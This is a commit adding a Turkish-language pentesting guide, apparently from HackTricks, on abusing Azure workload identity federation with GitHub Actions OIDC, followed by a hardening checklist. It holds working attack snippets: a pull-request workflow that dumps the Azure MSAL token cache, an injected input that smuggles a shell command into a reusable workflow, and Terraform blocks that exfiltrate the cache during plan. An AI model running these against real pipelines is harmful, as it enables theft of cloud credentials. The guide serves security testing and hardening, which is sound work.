Translated ['src/pentesting-cloud/azure-security/az-basic-information/az

This commit is contained in:
Translator
2025-09-29 23:30:02 +00:00
parent ba8b46fd4f
commit 14fea1516d
2 changed files with 662 additions and 467 deletions
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,227 @@
# Azure Federation Abuse (GitHub Actions OIDC / Workload Identity)
{{#include ../../../banners/hacktricks-training.md}}
## Genel Bakış
GitHub Actions, OpenID Connect (OIDC) kullanarak Azure Entra ID (eski adıyla Azure AD) ile federasyon yapabilir. Bir GitHub workflow'u, çalışmayla ilgili bilgileri kodlayan kısa ömürlü bir GitHub ID token'ı (JWT) talep eder. Azure, bu token'ı bir App Registration (service principal) üzerindeki Federated Identity Credential (FIC) ile doğrular ve bunu Azure access token'larıyla (MSAL cache, Azure API'leri için bearer token'lar) takas eder.
Azure en azından şunları doğrular:
- iss: https://token.actions.githubusercontent.com
- aud: api://AzureADTokenExchange (Azure token'larıyla değiş tokuş sırasında)
- sub: yapılandırılmış FIC Subject identifier ile eşleşmeli
> Varsayılan GitHub aud bir GitHub URL'si olabilir. Azure ile takas yaparken, açıkça audience=api://AzureADTokenExchange olarak ayarlayın.
## GitHub ID token hızlı PoC
```yaml
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0
```
Token isteğinde Azure audience'ını zorlamak:
```bash
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
```
## Azure setup (Workload Identity Federation)
1) App Registration (service principal) oluşturun ve en az ayrıcalığı verin (örn. belirli bir storage account üzerinde Storage Blob Data Contributor).
2) Federated identity credentials ekleyin:
- Issuer: https://token.actions.githubusercontent.com
- Audience: api://AzureADTokenExchange
- Subject identifier: hedeflenen workflow/run bağlamına sıkı şekilde sınırlandırılmalı (aşağıdaki Scoping and risks bölümüne bakın).
3) GitHub ID token'ını exchange ederek Azure CLI'ye giriş yapmak için azure/login kullanın:
```yaml
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login
```
Manuel değişim örneği (Graph kapsamı gösterilmiştir; ARM veya diğer kaynaklar benzer şekilde):
```http
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
```
## GitHub OIDC subject (sub) yapısı ve özelleştirme
Varsayılan sub formatı: repo:<org>/<repo>:<context>
Context değerleri şunlardır:
- environment:<env>
- pull_request (PR, environment yokken tetiklenir)
- ref:refs/(heads|tags)/<name>
Payload'da sıklıkla bulunan faydalı claims:
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
Ek claims eklemek ve çakışma riskini azaltmak için sub bileşimini GitHub API üzerinden özelleştirin:
```bash
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'
```
Not: Ortam adlarındaki iki nokta üst üste (:) URLkodlanmıştır (%3A), eski delimiterinjection hilelerini sub parsing'e karşı kaldırır. Ancak, benzersiz olmayan subject'ler (ör. yalnızca environment:<name>) hâlâ güvensizdir.
## FIC subject türlerinin kapsamı ve riskleri
- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
- Risk: Eğer branch/tag korunmuyorsa, herhangi bir contributor push yapıp tokens elde edebilir.
- Environment: sub=repo:<org>/<repo>:environment:<env>
- Risk: Korunmayan environment'lar (no reviewers) contributor'ların token mint etmesine izin verir.
- Pull request: sub=repo:<org>/<repo>:pull_request
- Highest risk: Herhangi bir collaborator PR açabilir ve FIC'i tatmin edebilir.
PoC: PRtriggered token theft (exfiltrate the Azure CLI cache written by azure/login):
```yaml
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token
```
İlgili dosya konumları ve notlar:
- Linux/macOS: ~/.azure/msal_token_cache.json, az CLI oturumları için MSAL tokens içerir
- Windows: msal_token_cache.bin kullanıcı profili altında; DPAPIprotected
## Yeniden kullanılabilir iş akışları ve job_workflow_ref kapsamı
Bir yeniden kullanılabilir iş akışı çağrıldığında job_workflow_ref GitHub ID token'a eklenir, örn:
```
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
```
Hem caller repo hem de reusable workflow'ü bağlamak için FIC örneği:
```
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
```
caller repo'da claims yapılandırın, böylece hem repo hem de job_workflow_ref sub içinde mevcut olsun:
```http
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
```
Uyarı: Eğer FIC içinde sadece job_workflow_ref'e bağlarsanız, bir saldırgan aynı org içinde farklı bir repo oluşturup aynı ref üzerinde aynı reusable workflow'u çalıştırarak FIC'i karşılayabilir ve mint tokens. Her zaman caller repo'yu da dahil edin.
## job_workflow_ref korumalarını baypas eden kod yürütme vektörleri
Doğru şekilde scope edilmiş job_workflow_ref'e rağmen, shell'e güvenli quoting olmadan ulaşan herhangi bir callercontrolled veri, korumalı workflow bağlamı içinde kod yürütülmesine yol açabilir.
Örnek zafiyetli reusable step (unquoted interpolation):
```yaml
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi
```
Komutları yürütmek ve Azure token cache'ini sızdırmak için kötü amaçlı çağıran girişi:
```yaml
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
```
## PR'lerde Terraform plan'ını yürütme aracı olarak ele alın
terraform plan'ını code execution olarak değerlendirin. Plan sırasında, terraform şunları yapabilir:
- file() gibi fonksiyonlar aracılığıyla herhangi dosyaları okuyabilir
- external data source aracılığıyla komut çalıştırabilir
Plan sırasında Azure token cache'i exfiltrate etmek için örnek:
```hcl
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}
```
Veya keyfi komutları çalıştırmak için external kullan:
```hcl
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}
```
Granting FICs usable on PRtriggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.
## Sertleştirme kontrol listesi
- Duyarlı FIC'lerde sub=...:pull_request kullanımından kaçının
- FIC'ler tarafından referans verilen herhangi bir branch/tag/environment'i koruyun (branch protection, environment reviewers)
- Yeniden kullanılabilir workflows için hem repo hem job_workflow_ref ile sınırlandırılmış FIC'leri tercih edin
- GitHub OIDC sub'unu benzersiz claim'leri içerecek şekilde özelleştirin (ör. repo, job_workflow_ref, repository_owner)
- Caller girdilerinin run adımlarına tırnaksız olarak interpolate edilmesini ortadan kaldırın; güvenli şekilde encode/quote edin
- terraform plan'i kod yürütmesi olarak değerlendirin; PR bağlamlarında kimlikleri kısıtlayın veya izole edin
- App Registrations üzerinde en az ayrıcalık ilkesini uygulayın; plan ve apply için kimlikleri ayırın
- Actions ve reusable workflows'u commit SHA'larına sabitleyin (branch/tag pinlerinden kaçının)
## Manual testing tips
- Workflow içinde bir GitHub ID token isteyin ve maskelenmeyi önlemek için base64 olarak yazdırın
- JWT'yi decode ederek claim'leri inceleyin: iss, aud, sub, job_workflow_ref, repository, ref
- FIC eşleşmesi ve scopes'ları doğrulamak için ID token'ı manuel olarak login.microsoftonline.com ile değiş tokuş edin
- azure/login'den sonra token materyali varlığını doğrulamak için ~/.azure/msal_token_cache.json dosyasını okuyun
## References
- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
- [azure/login action](https://github.com/Azure/login)
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
- [gh CLI](https://cli.github.com/)
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
{{#include ../../../banners/hacktricks-training.md}}